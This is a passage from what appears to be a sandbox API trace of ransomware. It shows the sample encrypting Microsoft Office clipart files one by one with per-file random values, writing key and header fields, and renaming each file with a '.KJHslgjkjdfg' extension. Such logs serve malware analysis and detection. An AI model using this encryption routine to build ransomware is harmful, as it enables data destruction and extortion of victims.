liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.250] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4780, lpOverlapped=0x0) returned 1 [0186.250] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.250] SetEndOfFile (hFile=0x130) returned 1 [0186.252] GetProcessHeap () returned 0x990000 [0186.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.252] GetProcessHeap () returned 0x990000 [0186.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.kjhslgjkjdfg")) returned 1 [0186.255] CloseHandle (hObject=0x130) returned 1 [0186.256] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0186.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.256] GetProcessHeap () returned 0x990000 [0186.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.256] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0186.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.289] GetProcessHeap () returned 0x990000 [0186.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.290] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.290] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.290] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.290] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.290] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.290] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.290] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.290] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.290] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.290] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b32, lpOverlapped=0x0) returned 1 [0186.357] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b40) returned 1 [0186.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.357] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b40, lpOverlapped=0x0) returned 1 [0186.358] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.358] SetEndOfFile (hFile=0x130) returned 1 [0186.360] GetProcessHeap () returned 0x990000 [0186.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.360] GetProcessHeap () returned 0x990000 [0186.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.kjhslgjkjdfg")) returned 1 [0186.363] CloseHandle (hObject=0x130) returned 1 [0186.363] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0186.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.376] GetProcessHeap () returned 0x990000 [0186.376] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.376] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.379] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.379] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.379] GetProcessHeap () returned 0x990000 [0186.379] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.379] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.379] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.379] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.379] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.379] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.379] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.380] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.380] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.380] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.380] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30e8, lpOverlapped=0x0) returned 1 [0186.381] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30f0) returned 1 [0186.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.381] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30f0, lpOverlapped=0x0) returned 1 [0186.381] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.381] SetEndOfFile (hFile=0x130) returned 1 [0186.383] GetProcessHeap () returned 0x990000 [0186.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.383] GetProcessHeap () returned 0x990000 [0186.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.kjhslgjkjdfg")) returned 1 [0186.386] CloseHandle (hObject=0x130) returned 1 [0186.386] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0186.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.388] GetProcessHeap () returned 0x990000 [0186.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.388] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0186.390] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.390] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.390] GetProcessHeap () returned 0x990000 [0186.390] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.390] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.390] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.390] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.390] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.391] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.391] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.391] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x265a, lpOverlapped=0x0) returned 1 [0186.392] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2660, dwBufLen=0x2660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2660) returned 1 [0186.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.392] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2660, lpOverlapped=0x0) returned 1 [0186.392] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.392] SetEndOfFile (hFile=0x130) returned 1 [0186.394] GetProcessHeap () returned 0x990000 [0186.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.395] GetProcessHeap () returned 0x990000 [0186.395] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.kjhslgjkjdfg")) returned 1 [0186.397] CloseHandle (hObject=0x130) returned 1 [0186.397] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0186.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.398] GetProcessHeap () returned 0x990000 [0186.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.398] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0186.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.400] GetProcessHeap () returned 0x990000 [0186.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.401] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.401] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.401] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.401] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1eb6, lpOverlapped=0x0) returned 1 [0186.404] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ec0) returned 1 [0186.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.404] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ec0, lpOverlapped=0x0) returned 1 [0186.404] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.404] SetEndOfFile (hFile=0x130) returned 1 [0186.407] GetProcessHeap () returned 0x990000 [0186.407] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.407] GetProcessHeap () returned 0x990000 [0186.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.kjhslgjkjdfg")) returned 1 [0186.411] CloseHandle (hObject=0x130) returned 1 [0186.411] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, 